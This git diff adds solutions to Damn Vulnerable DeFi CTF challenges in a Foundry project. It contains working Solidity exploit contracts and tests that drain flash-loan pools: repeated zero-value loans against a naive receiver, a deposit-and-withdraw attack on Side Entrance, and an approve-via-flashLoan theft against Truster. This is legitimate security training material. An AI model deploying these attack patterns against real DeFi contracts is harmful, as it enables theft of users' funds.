diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol new file mode 100644 index 0000000..dc4601d --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +/** + * @title DamnValuableToken + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + */ + +contract DamnValuableToken is ERC20 { + constructor() ERC20("DamnValuableToken", "DVT") { + _mint(msg.sender, type(uint256).max); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol new file mode 100644 index 0000000..df8c70f --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IPool { + function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool); +} + +contract NaiveReceiverHack { + address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; + IPool pool; + address receiver; + + constructor(address _pool, address _receiver) { + pool = IPool(_pool); + receiver = _receiver; + } + + function attack() public { + for (uint256 i = 0; i < 10; i++) { + pool.flashLoan(receiver, ETH, 0, "0x"); + } + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol index a41a262..99fe89b 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol @@ -2,14 +2,15 @@ pragma solidity ^0.8.0; -import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; -import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { Address } from "@openzeppelin/contracts/utils/Address.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; /** * @title TrusterLenderPool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ + contract TrusterLenderPool is ReentrancyGuard { using Address for address; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol index 58d911a..a7a9b0a 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol @@ -46,3 +46,35 @@ contract SideEntranceLenderPool { } } } + +interface IPool { + function flashLoan(uint256 amount) external; + function deposit() external payable; + function withdraw() external; +} + +contract SideEntranceAttack { + IPool immutable pool; + address immutable player; + + constructor(address _pool, address _player) { + pool = IPool(_pool); + player = _player; + } + + function attack() external { + pool.flashLoan(address(pool).balance); + pool.withdraw(); + (bool isSuccess,) = player.call{ value: address(this).balance }(""); + require(isSuccess, "SideEntranceAttack attack"); + } + + function execute() external payable { + require(tx.origin == player); + require(msg.sender == address(pool)); + + pool.deposit{ value: msg.value }(); + } + + receive() external payable { } +} diff --git a/foundry.toml b/foundry.toml index aaa59b0..c078512 100644 --- a/foundry.toml +++ b/foundry.toml @@ -51,6 +51,7 @@ mainnet = "https://eth-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" goerli = "https://eth-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}" sepolia = "https://eth-sepolia.g.alchemy.com/v2/${API_KEY_ALCHEMY}" + holesky = "https://ethereum-holesky.publicnode.com" polygon = "https://polygon-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}" mumbai = "https://polygon-mumbai.g.alchemy.com/v2/${API_KEY_ALCHEMY}" diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol index 24b9cbf..37b9429 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver.t.sol @@ -7,6 +7,8 @@ import { FlashLoanReceiver } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive- import { NaiveReceiverLenderPool } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverLenderPool.sol"; +import { NaiveReceiverHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/02.Naive-Receiver/NaiveReceiverHack.sol"; + /* https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ @@ -55,9 +57,11 @@ contract Naive_Receiver_02_Test is Test { function test_Exploit() public { /* START CODE YOUR SOLUTION HERE */ - for (uint256 i = 0; i < 10; i++) { - pool.flashLoan(receiver, pool.ETH(), 0, "0x"); - } + // for (uint256 i = 0; i < 10; i++) { + // pool.flashLoan(receiver, pool.ETH(), 0, "0x"); + // } + NaiveReceiverHack hackInst = new NaiveReceiverHack(address(pool), address(receiver)); + hackInst.attack(); /* END CODE YOUR SOLUTION */ vm.stopPrank(); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol new file mode 100644 index 0000000..6821d7f --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "forge-std/Test.sol"; +import { Vm } from "forge-std/Vm.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { TrusterLenderPool } from "@contracts/CTF/Damn-Vulnerable-DeFi/03.Truster/TrusterLenderPool.sol"; + +/* + https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ + + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/03.Truster.t.sol -vvvvv +*/ + +contract Truster_03_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + TrusterLenderPool private pool; + DamnValuableToken private token; + uint256 TOKENS_IN_POOL = 1_000_000 ether; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + pool = new TrusterLenderPool(token); + token.transfer(address(pool), TOKENS_IN_POOL); + assertEq(pool.token().balanceOf(address(pool)), TOKENS_IN_POOL, ""); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + + // cast abi-encode "approve(address,uint256)" 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 1 + bytes memory _callData = abi.encodeWithSignature("approve(address,uint256)", player, TOKENS_IN_POOL); + pool.flashLoan(0, player, address(token), _callData); + token.transferFrom(address(pool), player, TOKENS_IN_POOL); + + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(token.balanceOf(player), TOKENS_IN_POOL, "player"); + assertEq(token.balanceOf(address(pool)), 0, "pool"); + vm.stopPrank(); + } +}